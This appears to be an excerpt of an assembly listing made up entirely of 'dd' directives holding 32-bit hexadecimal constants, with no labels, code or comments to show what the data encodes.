		dd 258A6F0Fh, 7CA6EC2Eh, 0E652F227h, 697225D4h,	310F6C55h
		dd 89AB3A17h, 0DF2D0230h, 0E6F4F5F8h, 4697EB4Fh, 0A550F4C9h
		dd 3C9D94E0h, 0E94DEF0Bh, 0BB0E4065h, 0BA231260h, 1391D74h
		dd 89459EDBh, 2BAF21DFh, 0A2EF5E85h, 83BA9298h,	11580118h
		dd 2F7931F5h, 0A07F3EB4h, 0D800F494h, 6603E4C0h, 0AB35351h
		dd 38C8E9E1h, 30F5ADAAh, 182DF372h, 8E6C2F4Ch, 402E2A61h
		dd 439CCF3Bh, 471D2764h, 55D2C5C1h, 0EAC8DD89h,	0BB084AE9h
		dd 0CBF29633h, 0C2F5AF2Fh
		dd 9A94FE0Ch, 5BECEC5Bh, 22A3898Ch, 46FF4BCFh, 0E9159248h
		dd 6E6FC31Ch, 0D7A5E9B9h, 5A860CDAh, 25D79C9Dh,	9C09A6E9h
		dd 1E57DDABh, 0B7E92773h, 0FCBEA760h, 0A5337A17h, 2B533913h
		dd 0EFA2E204h, 59CFD091h, 161FA762h, 5E44752h, 2239B2E2h
		dd 442D56C1h, 0F65A0C07h, 616B94Bh, 841E617Eh, 41527AC1h
		dd 340701D7h, 8591E9C2h, 0FD885299h, 7D4C0D85h,	2E2C2920h
		dd 320069ACh, 0E90E6525h, 0DBB72379h, 8A2327C1h, 0BB2492C4h
		dd 0CF3D4CF2h, 0C1318BC9h, 1786F62Eh, 0DFF93130h, 5180A0D7h
		dd 59313841h, 44DB36B8h, 0AED6F61Ah, 28C34A40h,	5C9DE9F0h
		dd 7870E3Dh, 0DA274005h, 0DDF1D178h, 912BF082h,	74DBE917h
		dd 8D8A7F5h, 0A04F5B75h, 0FD6DFECh, 2EE9C1B0h, 9647600Ch
		dd 0A829BAD7h, 85E90786h, 2EC51F8h, 0FF3114Fh, 0AF4C1E99h
		dd 0DB667ED1h, 0FB61BBF4h, 0F37A7C29h, 63323296h, 0CAB4052h
		dd 0DD883B51h, 4BEF7573h, 7919C1FAh, 209C7F14h,	2C6812B7h
		dd 15FCBC48h, 5F507FFh,	0C26B18F6h, 8FB3EA06h, 215C155Eh
		dd 0FED37AD0h, 9FC39868h, 5DF2DDFEh, 0E950DA74h, 8A2C4E9Ah
		dd 5F7748F3h, 2C1A16D1h, 0C8364C5h, 1446B57h, 34954DD9h
		dd 0B4A2C177h, 6C2210FFh, 0C73DC0BDh, 514D39CDh, 75356817h
		dd 952F59F3h, 0F831F540h, 5955E9D4h, 0C0185894h, 5DA7A8BEh
		dd 59CD2C21h, 7BB202B6h, 0F5236Bh, 0FB3BA4AFh, 801AC25Ch
		dd 45411A64h, 0EA49AC1Dh, 1701808h, 0F18081B1h,	8B069DB3h
		dd 2837C182h, 0E0C3FFCAh, 1AC3B302h, 0DD638A3Ch, 40EB8BC1h
		dd 1080E908h, 206E6B5h,	6662B3D5h, 0F0C1D631h, 0E9E95059h
		dd 0F197255Ch, 142D83EBh, 0D0E927D6h, 1E8F2AC9h, 2670DE27h
		dd 51A556BDh, 604635DDh, 0B7860331h, 0C5408EDCh, 38663901h
		dd 2DB2E90Ah, 2B5D3030h, 0ABB87FA3h, 88F7A568h,	2F513DB1h
		dd 204A8DD8h, 792D2000h, 72A9313h, 507AF005h, 14CDF34Bh
		dd 4ABDC376h, 0B8AF7FBAh, 447C67C9h, 9764162h, 1922B98Fh
		dd 0EB8066D5h, 51B603A5h, 48D92934h, 0D45B0809h, 2753400Ch
		dd 0D2B579A1h, 520880C6h, 50686050h, 35584509h,	4D42B501h
		dd 40D0F731h, 968BAE20h, 0AE4525E4h, 34EB6884h,	72E0CDEBh
		dd 0A3312DC0h, 3C286C96h, 2020F743h, 0DDBB8BB5h, 29E94E30h
		dd 0CD66F6A9h, 99EE032h, 820924BBh, 8F06532Fh, 64A5C329h
		dd 8049EB15h, 841AFDDFh, 0CFEB9301h, 6E0B8F63h,	57365929h
		dd 7DC2BFF8h, 0DFF7305Fh, 794EF20h, 7F5C0ADEh, 0BB86C865h
		dd 7E4F90CEh, 9A587BC7h, 4978B515h, 0B0D4AE25h,	9332F132h
		dd 246913D0h, 0C8A8EB45h, 74F79DFh, 79E831C0h, 0FEA795DEh
		dd 59782F40h, 0B1B7709h, 0A94A003Eh, 0C37B8D68h, 0AE224C0Ch
		dd 96A1BBF5h, 820C0806h, 66265C14h, 0E2208D87h,	0ECC01795h
		dd 26C0703h, 2D026980h,	0FA843CB3h, 0FBEED4ABh,	0E294C0A6h
		dd 0AFF02A2Ch, 0CB202BDAh, 0DEDAC4BEh, 555B00CEh, 39E1B951h
		dd 5A48CD36h, 2910B506h, 0E4160C22h, 0BAFF53Ch,	3F80493Fh
		dd 0E7D60C8Dh, 534D0B5h, 98E9CD89h, 0E1FD406Ah,	62E57C5Ah
		dd 7E4932DFh, 209E7212h, 591635AAh, 30FE3B68h, 801DB2D9h
		dd 7C60EA2Dh, 0C50409EAh, 58C712F5h, 281B3A3h, 38C74B32h
		dd 10DDBFEh, 0B03ACD9h,	76E165Bh, 7BF7F76Dh, 5D25DC25h
		dd 68059067h, 34EF6152h, 0F7A30B84h, 9F00EE5Fh,	0F20DE44h
		dd 0F6FE957Ch, 0DD9F4009h, 21D9C3BBh, 51481D3h,	0E0BADDAEh
		dd 0EB23136Eh, 176D74C0h, 5029648Dh, 6B90FA1h, 3514B646h
		dd 0BA3FD17Fh, 0AA844195h, 7C99A1C2h, 292482Ah,	7FED408Ah
		dd 609771D8h, 801A3E2Bh, 551FF001h, 8EE8E6BDh, 6B0DA480h
		dd 0FF951671h, 0BC446185h, 59D4A82h, 37EED03Eh,	66600658h
		dd 2C52C13Ch, 1FCF943Dh, 0DC216508h, 0C2790AC4h, 0CDA5FE77h
		dd 13271419h, 854B1721h, 6FA6FAB1h, 49D0A0D7h, 0D119A7B1h
		dd 0C0002BB2h, 807905E1h, 347BF858h, 0F8C40698h, 22549504h
		dd 0BFF8CFA4h, 0F9F738EAh, 1FE9C149h, 0C2EB53FAh, 67C150A2h
		dd 4AE310B9h, 96FD7B69h, 5A4E0216h, 0BAE12124h,	4C9F4ED1h
		dd 0D830C96Eh, 215E27D1h, 0A39A96FDh, 557D925Ch, 667F8D89h
		dd 25B392DAh, 455D6E1Ah, 48D7A596h, 38689253h, 0B5707BCAh
		dd 5A847867h, 0FDB093E9h, 514C0BBEh, 8046839h, 0D5C34990h
		dd 4557D142h, 0D1BEAC34h, 2375ED68h, 0EF4C50A3h, 614C6003h
		dd 4B0CACE9h, 0C67B811Dh, 29F22426h, 0BF627B97h, 837001ADh
		dd 0AC61C7BDh, 9EAFE3F0h, 65A64D4Fh, 6F627127h,	0F00DB6FBh
		dd 327D2FC4h, 255BBD5Eh, 0C2647F5Eh, 9867E973h,	78624D2Ah
		dd 0B2CB56A9h, 0DC5E7BEFh, 59C7FF25h, 81BC5D12h, 2DBB55CAh
		dd 97FF3509h, 3CE82534h, 45BD9B9Ch, 0E4C7099Bh,	0E96B9080h
		dd 27B5D157h, 0ED3208DEh, 3CD54107h, 5AB451F4h,	0C72A0B31h
		dd 2906CEF2h, 0E425E9EFh, 1260BD38h, 0EBB1C00Ch, 0EFD73ADh
		dd 0FB124783h, 1E96C1A2h, 0EA57456Eh, 3A1FE6Bh,	7B830805h
		dd 0BA545A5Bh, 47C37C1Ch, 527A31Fh, 0BEBFA0A0h,	0C1FB8434h
		dd 8E3B764Eh, 6499C6DFh, 0E0AED840h, 7D4C1860h,	0E668A1B0h
		dd 84AE376Fh, 0BC7E9482h, 16AAB429h, 4F05F8FEh,	0A1EAEAD0h
		dd 50370F18h, 5BA6D531h, 524C1AC3h, 5A643839h, 0CA7E099Dh
		dd 0CFB64E35h, 0A96BF318h, 52122477h, 70D6478Fh, 5A292E7Ch
		dd 59CE8C90h, 3B16DF3Ch, 47AE6164h, 0A6308A08h,	76001C3Ch
		dd 2162BBCAh, 0A8BAE9F5h, 97D7F7F4h, 812456Bh, 73ECA568h
		dd 0A1B0B897h, 0EE05EA08h, 9281D965h, 0BF0522E3h, 54503C21h
		dd 0B80C2C6Bh, 0D3DF7F5Ch, 401F3398h, 0FBDC2D30h, 0FBE7FFDh
		dd 79C40D01h, 3FE8674Ch, 255492A4h, 0A1FF04E2h,	0FBB7FA59h
		dd 5A67C27Ah, 0D2BFD45Fh, 5274CDAh, 273F6511h, 315F815Ah
		dd 56528FAh, 27ACDAB5h,	0FC5247E9h, 284DB212h, 0A5B3DF6h
		dd 0BA9BE2BFh, 235826BDh, 0E43B0785h, 1A166CE5h, 0D9EFF50Dh
		dd 13163ADEh, 0E985F6E2h, 0F452FF32h, 715BB909h, 83559E94h
		dd 46CF668Ch, 244AB5F1h, 5F3AFA14h, 0C525358h, 574C6368h
		dd 0C9D64B72h, 0B85B30F5h, 4A1C1E64h, 0E00F52BBh, 0D3C612A8h
		dd 910A03BDh, 5957695Eh, 0B369625Bh, 0C3315C01h, 5E0CBA2Ah
		dd 0B558479Ah, 0C6203D96h, 3BB13B65h, 4E4F32CCh, 0F84FCF59h
		dd 0A908B445h, 933B216h, 60D8BE09h, 8EA1BA06h, 0B56A7ED2h
		dd 0D02DA254h, 9741EA62h, 2230776Ch, 814F3643h,	2F8F09CFh
		dd 87044C7Dh, 8B290987h, 2708964Ah, 95D09FE9h, 99EB014Bh
		dd 85327FC4h, 5B80A01Ah, 9D25AC68h, 32654DD9h, 8F310EE1h
		dd 0BBCBA178h, 48E9986Bh, 0A5373F44h, 7A1F1BD4h, 7366F35Ah
		dd 1EAF74Ah, 0C81716E6h, 0EAEA206Dh, 0EEE907A0h, 549D0970h
		dd 60D7FA76h, 0B0A12D7Bh, 0C4FC4B7Dh, 65ECAFA5h, 20415B3Ch
		dd 342E5742h, 0EE1EF867h, 0AF085139h, 8C89D50Ch, 0A0760809h
		dd 1F8276ADh, 90126586h, 42AFEDF9h, 8D8F4D9h, 0C2250279h
		dd 9B587D29h, 4BBC1159h, 7817ECEDh, 1C1692C9h, 62111F2Ah
		dd 0CF09F502h, 1A5D8510h, 0E6FBF76Ch, 1C472104h, 82F7B3AAh
		dd 0DD8B90E9h, 0FA25A594h, 5F0494ADh, 3BB09D59h, 0E9C338EFh
		dd 57988025h, 68127E4Ch, 78A61A07h, 4D23E917h, 756D0158h
		dd 0B9FC2AACh, 0B94EA05Dh, 91E909A1h, 0D5B5DDDh, 1D76F369h
		dd 71D1ED61h, 533CB480h, 398008B7h, 0F79D83CFh,	59C48EEEh
		dd 0EC6EFC0Fh, 0F6125BACh
		dd 0BF47E95h, 6FF25AE8h, 7B57709Dh, 0DBE527CDh,	3B2838CEh
		dd 8520F4C8h, 84595C01h, 80D8AC2Eh, 0F662B050h,	0D35C04D0h
		dd 0C4172D48h, 0F7810147h, 7AC662D9h, 4DB83A2Dh, 0A776E04Fh
		dd 4CAE605Eh, 3191AE70h, 0CA6FD172h, 58176508h,	0E81267A9h
		dd 0BAF3EA65h, 3A4BB681h, 0B5C9F817h, 47451905h, 0F5B140E9h
		dd 3AE2896Fh, 0D02F3ECDh, 8A778139h, 4929AEBFh,	5D2404Fh
		dd 0B91F17B1h, 1395C404h, 870A3807h, 0DF34E16Bh, 0EF5FFE04h
		dd 692EC8E0h, 785F1854h, 3B82903Bh, 0CB1E58E3h,	0A4C34F6Bh
		dd 6E0ADBCCh, 5BD98804h, 0B8EFCE20h, 96128EC6h,	0CD6EE889h
		dd 0FC10A757h, 215054E3h, 2FF9F6A5h, 0FA60578Fh, 76C3680Ah
		dd 95A1D1C4h, 25AFBB00h, 0C106741Ch, 0DBF704EBh, 81052E0Ah
		dd 0D960053Ch, 13E0BB4Ch, 95730D6Eh, 0E4C88937h, 0B22668F1h
		dd 320B26E5h, 5239DF51h, 768B6E66h, 0B47AB200h,	0E9D42853h
		dd 0E2A5C72Ah, 0E30120B6h, 71DE5A2Dh, 0B1A3A4F8h, 25D4023Eh
		dd 54413FE5h, 1FE32A53h, 59C0AB38h, 4CEDF0BDh, 3C1A52BDh
		dd 8C7F3080h, 1810060Fh, 0F95D5CE9h, 4F3011F3h,	2C565C2Ah
		dd 68ED097Ah, 0B8D536C4h, 2D12D94Ah, 0FFC228EEh, 3EE90703h
		dd 0CF55ADD5h, 0C0448B51h, 5D0F765h, 1CEDE05h, 0AFE5C182h
		dd 0E8ABA8A7h, 0EA4D1979h, 3BBA0227h, 0F6735C32h, 0A6660524h
		dd 0E54FEA1Bh, 3CBB26FAh, 0B014091Ch, 15C34A0h,	0F69A620Bh
		dd 4EE3815Dh, 2B6A322Bh, 3BBDDC2h, 685E5954h, 0A3AA9C12h
		dd 13E98270h, 0DDD455F5h, 0FEE7D77Bh, 122573FAh, 0C702402Fh
		dd 0A57912FCh, 4175F94Ah, 30887A08h, 64653768h,	21746Dh
		dd 9441EEBBh, 0AD054B42h, 0B0EC5F32h, 0BEB9C213h, 9F9B9AC8h
		dd 2BB2AD83h, 244CFEF9h, 0F6A1DABBh, 0C38A03A7h, 0F90A28DDh
		dd 59C70F8h, 0D53059EAh, 0B4C9AE5Ah, 7E1E892Bh,	8AE15FBDh
		dd 0FE896F1Fh, 3A5AF4C8h, 90798059h, 47876F7h, 0C8E9CBE4h
		dd 1EDA93Eh, 10542B7Eh,	0D460D609h, 49304FF4h, 96FAEB6Ah
		dd 0AFBDCFF9h, 140585CCh, 0A823A3AFh, 551FDD04h, 4850FB1Ah
		dd 0D65A2708h, 79B05103h, 0B4E9409Ah, 1D610B12h, 2010C9ABh
		dd 0F5B4370Fh, 1C6420BEh, 13DAEB80h, 674F1DE3h,	0DE2FFE7Bh
		dd 5A55C989h, 0DAE91691h, 8097ABFEh, 0A3494985h, 0E1BFB351h
		dd 0EF2A3227h, 0F3681860h, 3F989733h, 5E8092AAh, 0F28F7066h
		dd 62FE6041h, 0BDE3F381h, 82DDD628h, 3B0C5509h,	41285562h
		dd 8A5B1508h, 0B70CB4Fh, 0A0056CE9h, 0AB650FEEh, 3E5F601Bh
		dd 0F8F70614h, 1C27509Dh, 0DD5DEA31h, 8D358DAh,	2C59DCE9h
		dd 68C80459h, 5B369A7h,	12775827h, 4F434170h, 40BE209Ch
		dd 317BD90Eh, 83145EF5h, 7CD01C5h, 7E95FDD8h, 0B7BBE974h
		dd 31D350D1h, 1C3FC44h,	1A6D3809h, 214BD3F7h, 166FE4EFh
		dd 4236E48h, 681008FCh,	59135AFh, 0D54E6007h, 2645011Eh
		dd 6A63584Ch, 60821D25h, 0C19F693Ch, 0BC1EDFBh,	992A1796h
		dd 3B56EDD6h, 32021D31h, 0E56D8C2Ah, 0D393F795h, 24492DC1h
		dd 1EFEF3D0h, 0B83B8C96h, 13F34CC7h, 54A43E19h,	0D5A9FC3h
		dd 0A94AE6F8h, 96D0EAF9h, 402D7704h, 0A9A8AF57h, 0D1200841h
		dd 33E98007h, 0E8497EF5h, 0F80457F1h, 6DD2C00Ch, 674F2A79h
		dd 85110EEh, 46FBD84Eh,	0D124C55Bh, 1AE2CBEFh, 0DD22136Ch
		dd 8AA4644Ch, 2C7DE912h, 99E4BF8h, 5AE85395h, 5B2E4469h
		dd 1D12A5FBh, 2F68A088h, 0CDC60C62h, 0F5803301h, 3F45E94Fh
		dd 0E702872Dh, 3974146Dh, 2C49861h, 266B5A29h, 68C8FCAFh
		dd 5C980199h, 3B538F71h, 0DDD951D2h, 60C360A0h,	5D4AD22Ah
		dd 81627D4h, 9211E6B6h,	0B6845A40h, 17F64B80h, 0AC6C4F9Fh
		dd 2557B085h, 44C0BDF9h, 6225134Ah, 203152E2h, 4698CFADh
		dd 257ABF20h, 0D8F9DF89h, 12D4F760h, 536900B2h,	0E12BFDBBh
		dd 0AAC14326h, 706019F4h, 4A48421h, 9CAB2F10h, 0B2C06C02h
		dd 0C8820456h, 5EA127CFh, 0C5890955h, 0B8DEB07Fh, 514616B5h
		dd 467976Dh, 705BB461h,	19F27C01h, 0CD71BE35h, 0DC6BA8Bh
		dd 0F95E68CAh, 7F595EC2h, 68EEE844h, 5B32DF25h,	0A8CE3029h
		dd 7E09A64Fh, 7946CDE9h, 57D62580h, 68565000h, 61E51D51h
		dd 0B5E94D38h, 0B6243A19h, 2E0AA5EEh, 0B3622BE1h, 0A8B89193h
		dd 142624Dh, 79CB1AB4h,	0A17FD109h, 0D5E3D1C7h,	0E28E54CEh
		dd 90F896BDh, 5FB065F6h, 4ADA720h, 0CE6164BAh, 55138240h
		dd 7A25D160h, 0FD214625h, 29982383h, 0D79A71DBh, 6C805692h
		dd 194D126Ch, 0E505EA98h, 2D0895C5h, 8284E4A8h,	7F680797h
		dd 0EBF622A9h, 0F17F29B4h, 0EE5DA564h, 68A42071h, 0A185589Dh
		dd 613A5892h, 2EAC34CCh, 20C969EAh, 0AC22467h, 76D8285Ah
		dd 8F9165Ch, 581F7169h,	62F8E71Ch, 0D508C916h, 0EF20E9E6h
		dd 2F319625h, 0F700B7FEh, 5D1F413Ah, 7BF5057h, 5FFD0929h
		dd 64F8E7E9h, 19EF2D4Ah, 7A4B14D0h, 0F9FD4A3Dh,	49160E2Fh
		dd 0AE6201C4h, 94B487CDh, 8D2CBB85h, 0E49D9051h, 585925CAh
		dd 0BA3ED116h, 52FC8E9Ch, 0C5C593E9h, 0E1D3B482h, 146AFAACh
		dd 0BD200983h, 50DCF095h, 7D7B45Fh, 35268C39h, 7EE893ADh
		dd 0AC52820h, 5DB3685Ch, 0F86A06Bh, 0F1C5A16h, 0E9D19836h
		dd 1410BD25h, 2D11EB4Ah, 0F60102FAh, 4E66E34Ah,	51CCFF4Bh
		dd 7DF4B505h, 76508225h, 5EE7536h, 40F76630h, 0EA74DD68h
		dd 814A9C0Dh, 4A3F05EEh, 6B7021BCh, 0AC5F13FCh,	32E0125Ah
		dd 55E82899h, 8C689D1Ch, 5497FD14h, 0C27749CFh,	0CF52FF0Dh
		dd 236BE437h, 623C6360h, 500CC176h, 6110F158h, 0E9096ADEh
		dd 9D78D2ABh, 0F85DB2C2h, 0F75B3CD6h, 2BBE5689h, 0E93B4880h
		dd 0A59229F0h, 0A8752C09h, 99CD8458h, 800B1FFCh, 3E015CCDh
		dd 62EE88DBh, 8FE01AEEh, 77607D63h, 46642D03h, 5784093Ch
		dd 74796B80h, 0ECF25A9Fh, 5AFA48FEh, 0A42F4929h, 0F9515951h
		dd 0A0E92AD4h, 5A4114D6h, 9311AC7h, 0F8FAECDFh,	2F12B60Bh
		dd 0B55C71FCh, 0E92538ECh, 0CAC527Fh, 6F571390h, 5FADEB0h
		dd 0C2BA7C54h, 6C1EAB0Fh, 2743653Ch, 0C8880990h, 0CE8E5FEh
		dd 1E539D36h, 0D62B7309h, 78B462FDh, 56CFE901h,	0D7A7442Fh
		dd 26803F1h, 16212A29h,	0B75697BFh, 0BC6D47Ah, 78893D1Bh
		dd 0DEADD1D6h, 718B00DFh, 0C7E9330Ch, 853BF94Dh, 0E2D9201Dh
		dd 0EA4A1C38h, 0FE9307CAh, 905FD28h, 6CCA038Ah,	0F108AE09h
		dd 56702508h, 72F45CBDh, 58B50D80h, 0DEB011D5h,	41447701h
		dd 8E3C12Ch, 7C2C3Dh, 744604FFh, 45096850h, 20EA669Fh
		dd 0CFFA7907h, 7DC40D01h, 1EB835Bh, 94334BE4h, 0B7EB6F4Bh
		dd 6DEC4920h, 1EF464D0h, 41170AB4h, 0B044208h, 4EDDC729h
		dd 0B53AA12Dh, 5027368h, 692138Fh, 0FA195941h, 5B4528D9h
		dd 4C27B89Ch, 87810E48h, 0EC147F7Dh, 4BBC23F8h,	57EF8342h
		dd 6B251C47h, 0DCBDDA19h, 1268E161h, 56532A57h,	0E2EA4653h
		dd 89C80F13h, 14F4C418h, 26C135F4h, 870004E0h, 0B619442Ah
		dd 1870E2DEh, 73A2569Dh, 5FA717D8h, 0D0EEC127h,	2CD50E02h
		dd 0F6C00396h, 5B986539h, 0E4E44E6Bh, 975D311Ch, 21F76B0Bh
		dd 9BD17AEEh, 5901D4BDh, 0CCDDF201h, 17AD011Ah,	0E9433650h
		dd 3D0B2A79h, 0F83EC65Eh, 2DE8BEDAh, 979596D7h,	0A15B1CDFh
		dd 98510116h, 5B022097h, 6CD182F7h, 0B9510092h,	0E2F1CDFh
		dd 83D77423h, 3DAE31FCh, 0D16440AAh, 3759C306h,	80C3022h
		dd 53CF6403h, 823B8D02h
		dd 5D614023h, 68A22F4Bh, 0A5046074h, 0D544179Dh, 2D5F0032h
		dd 486F045Dh, 0FCD740E3h, 4690B9A1h, 3CC40A4h, 1BC6C0A0h
		dd 730767FAh, 7BE9F101h, 0FB18D7CBh, 0C6951D4Ah, 159682EBh
		dd 225AA438h, 876E96E8h, 74585E68h, 9D14A24Ah, 28C1E181h
		dd 0A24055FCh, 5ECABDCFh, 3B4F83Fh, 932FAC25h, 3148E908h
		dd 0BB933678h, 1DFCD313h, 54BF66E0h, 76B77B74h,	0E87FA50Dh
		dd 0F23F04B5h, 0D8F6053Ch, 80308A2Ch, 0EBD2E91Ch, 4E412B7h
		dd 96903FF6h, 2E3582BDh, 3E385E70h, 0B52530DEh,	664FA527h
		dd 0A87657AEh, 8933CA2Ch, 0D744A78Bh, 0E8502719h, 0F99DCE56h
		dd 0BA52C0BBh, 0B0481680h, 22D026ECh, 5F02C50Ch, 845F5BF9h
		dd 0F8FF81FCh, 38A49FEh, 0ABC5B0F5h, 0B36ACB29h, 11BF0460h
		dd 0ECBFDF01h, 71B84EAAh, 0AA7E3526h, 10D42007h, 39EE5C5Ah
		dd 18D2098h, 13E0BF80h,	0FB52A53Ch, 54856894h, 103E9241h
		dd 603457A6h, 0C701BD47h, 40B4B2E1h, 7B52C3F9h,	541DBA2Dh
		dd 4808A0F4h, 0B305875Fh, 0E398A2ECh, 0C9FF4ECAh, 72FAD94Ah
		dd 36EC4EEAh, 0F20C3D8Dh, 20A33C55h, 0BB00D3C3h, 12A56CF1h
		dd 781DBF7h, 0F66595E3h, 0A1CB675Eh, 786C1F63h,	0E52F785Bh
		dd 0C3AEE04Fh, 743F05E1h, 0D196E928h, 41D78937h, 2761B43h
		dd 0F8E9805Bh, 9D053740h, 0D825BDCh, 0F7249939h, 0F101A37Ah
		dd 4F61F077h, 902A29E9h, 0A623EF08h, 77C9272Fh,	0F1951496h
		dd 0A7669ADh, 0D7BA9BC2h, 3C41EC6Ch, 0E82B6BD5h, 0B46A8130h
		dd 906ECA12h, 2EA0E2A7h, 427777F2h, 6B0DF201h, 0B2E92C82h
		dd 80FAB86Bh, 0B65279B3h, 0EE8003B5h, 5AF3307Ch, 0DC51275h
		dd 0E3ABDB2Ch, 0C34E1086h, 0E5D1BD3Ch, 0F06C7342h, 0EA81030Ch
		dd 8209C015h, 0D758FADAh, 6DED6813h, 58F5CC4Bh,	0AB4FD32Bh
		dd 0A84B69CBh, 6EE9A0AEh, 79129D23h, 0AEDD8D63h, 64B66665h
		dd 1C199410h, 0D8098CB3h, 1F70655Bh, 8838C953h,	0EA809D81h
		dd 9EB82E01h, 56104830h, 0CD48B551h, 90AA20ACh,	68272700h
		dd 0C06FA2D1h, 3F538FB8h, 61589D1Ch, 0D5E1732Dh, 6FB9D199h
		dd 69FEC884h, 173A3DDFh, 0D3B8A9A4h, 0CE7DBBE4h, 68F98C7Fh
		dd 65138F5Fh, 0CEFAA224h, 0D8BF4E91h, 98F0E9DAh, 0DFA5DB99h
		dd 7328A6ECh, 75DEF8F3h, 7979A809h, 1C5C2652h, 967F2D21h
		dd 0CD3C5D61h, 0A639EF4Bh, 6839827Fh, 9B6E19A2h, 6913440Fh
		dd 1764E3CDh, 51D113F7h, 85811AE9h, 6731445Dh, 945DC7A4h
		dd 0AAFCAB1Ch, 0F6B23EB9h, 4054E916h, 0BBF42D5Fh, 6970D72h
		dd 280629BFh, 9818152h,	7D2F36A8h, 12F77E85h, 0D046B807h
		dd 0DE0C2D8Ah, 35F172DBh, 0FEFD5F06h, 0D2560925h, 20E2D60Dh
		dd 0C113D2D4h, 0B87BEEB1h, 0F416C2F6h, 0C5F675FEh, 6C420271h
		dd 83D8D656h, 1DB1E97Ah, 0F4EB912Fh, 5A664CC9h,	19E5DA4Eh
		dd 0B22B8875h, 0B5265807h, 0D32478A8h, 750B6F6Dh, 50CD060h
		dd 660E62F0h, 934CFB68h, 2C573D21h, 28E191E3h, 1A20F67Ch
		dd 0AFF23EA1h, 771F2D0h, 0F10B4BC7h, 0F216F11h,	826FE763h
		dd 2E239B18h, 224A001Ah, 0CC12F6Ah, 8D03AE39h, 8956A33Fh
		dd 7CD60957h, 0DE2D536Dh, 5F5DD2BDh, 16FCBD29h,	88AFCE8Ah
		dd 0F94C01CFh, 602102BBh, 575F7343h, 0E9C11AD9h, 423B1FDDh
		dd 3D73AD42h, 0D9F38CD7h, 0B57127EDh, 0AC03F076h, 76487E78h
		dd 77281018h, 25010572h, 70EBD91Dh, 85F0E957h, 528FE699h
		dd 42394B55h, 0E7D37D43h, 2D125BFh, 0D7515282h,	7E6015C1h
		dd 35692h, 0C50263BEh, 0EE2677B0h, 0A3087808h, 0F95F3893h
		dd 2BF51075h, 86B4B814h, 0D9056F01h, 70340704h,	97B69AC0h
		dd 4AE55F27h, 846F4C2Fh, 21665EA9h, 2964D86Ah, 0C3F107D5h
		dd 0CBF4ADA3h, 5DD190EBh, 3A4AE368h, 0FF106CA3h, 0CEBF001Ch
		dd 0B9329860h, 8A100EF9h, 8B73140h, 0F72FD0B0h,	0BE9F279Ch
		dd 0AA514A99h, 0EF96118Ah, 0BA520F61h, 533A8F09h, 15F252Fh
		dd 80510EFh, 15103448h,	0D31C5197h, 2AF8A4F2h, 291DABBh
		dd 0E47EE90Ch, 0B7E8C723h, 7473E625h, 463A0843h, 28C37827h
		dd 40CA8BE7h, 972F680Ah, 25F44618h, 681CA008h, 9168CF88h
		dd 0CE31374Eh, 3F789D3Eh, 0B2DF38DAh, 40C87C8Ch, 4EFC15Eh
		dd 9801A6C9h, 248F4ABAh, 78CF879h, 69E0D53h, 0A6271A47h
		dd 0B0AAE318h, 0BC63A27h, 3266E935h, 8DC1949Bh,	260A64ECh
		dd 0D2EA3E58h, 0A3A98256h, 76F83A85h, 4E304971h, 6AC11DCBh
		dd 0DB3924A3h, 4589337h, 0ABE4506Ch, 0C8D2DBB8h, 7053A937h
		dd 7DB34F8Ch, 8A7007Eh,	0BB5E2818h, 0E72DF75Dh,	923F54D7h
		dd 9DA1AEC2h, 5BE9DAE4h, 0C9611456h, 10FBD42Eh,	0C54A7F29h
		dd 6FF029BEh, 5B02F961h, 0DB80217Ah, 0BF902AD2h, 7BE48075h
		dd 9F08F464h, 0E233F0C7h, 0E00A4A2Dh, 561466D7h, 1CBF3ABCh
		dd 9DAE1BCAh, 4A77CF01h, 0AF302D69h, 634F39A4h,	528CE989h
		dd 44755312h, 3382205Bh, 5C1F2D00h, 68566F1Bh, 20230430h
		dd 0ECD7E911h, 2B166209h, 0B54CD75Eh, 59D07917h, 4EED09BFh
		dd 5F11A20Eh, 4D3B20C1h, 0C5283E83h, 0E4988058h, 5925E888h
		dd 658D0E0Ch, 44EB2731h, 73AD4C0h, 6881C820h, 0DB4C2ACDh
		dd 5F67B857h, 48FF4098h, 0D4AC675h, 8E03A83Bh, 0E0E8D10Eh
		dd 1D2930CDh, 2E001C1h,	0BCEFF02Dh, 87B17AFDh, 79CCA3Fh
		dd 16E56853h, 5D5B3332h, 43967EDEh, 5F3E04EFh, 126CFC32h
		dd 8A8C4AE9h, 53BA05B9h, 2686D7Fh, 2DEEE97Dh, 9FAE57FBh
		dd 0F2685502h, 0BA39B11h, 0D1C3F62h, 69981302h,	41D3EA0Ch
		dd 5D862B1Dh, 2E5F2712h, 0CE0E1452h, 0C9117A3Eh, 0E18B8059h
		dd 769544CAh, 0BFC90053h, 0E933E730h, 3992DD6Ch, 0F65EF52Fh
		dd 0EF056B16h, 0D98AE77h, 4B07B2EDh, 0EA4BBA09h, 3B11704Bh
		dd 0E692B9B3h, 70D0AA3Eh, 0E78F3CEFh, 0C681A8Bh, 822DAD51h
		dd 0F528B3h, 3F0DCA2Dh,	85A84A4Fh, 0DD53614Ah, 0A8EE04BBh
		dd 8CF53D7Fh, 0C7AB207h, 97D170Ch, 0F9CBC37h, 0D6F478h
		dd 0E9565DEFh, 2CA34ADCh, 3FFD83F1h, 0FD94CFB6h, 0AFDA3989h
		dd 7B4B6925h, 0BE9C2F8h, 0E84C2A5Fh, 0BC05AA1Ch, 24FF2912h
		dd 0FB0A1290h, 8BD2A1E3h, 42F82598h, 0D21A1C25h, 0C5200481h
		dd 88E11211h, 0E64F527Ah, 4EAD179Fh, 0FE929BA3h, 49E9A2F4h
		dd 0D14C6479h, 0AC138216h, 421BC28Eh, 7858DFE7h, 6153EA13h
		dd 418C99C0h, 240C983Ch, 6184CCCDh, 0EC28B753h,	27BFC1BDh
		dd 0A85589h, 0C68EED81h, 0B6C190CBh, 44800F57h,	174D1F20h
		dd 0D4497429h, 1C081A5Ch, 51751409h, 0B2DFC9F8h, 5B1FCE2h
		dd 45261068h, 0FF084184h, 0BB8C5931h, 9C0FC806h, 0B70BCB92h
		dd 0EAD71BB2h, 0F355FB81h, 9D11407Ah, 8163F119h, 308EE31Ch
		dd 6CE976CFh, 27EFE5E5h, 0DC026E07h, 12C1F193h,	1EFB2A05h
		dd 4EE79369h, 1AD25E73h, 297E0C87h, 320B7FCBh, 0BEE965D5h
		dd 0B2F5582Dh, 95F0D735h, 0E85F502Dh, 4B4E68C5h, 0D339B37Dh
		dd 5306E3CAh, 8F3EF5E9h, 9468CDA0h, 9460305Ah, 456E1649h
		dd 5E59200Eh, 4B1F2612h, 525843BAh, 4E10A6ABh, 57B57B9h
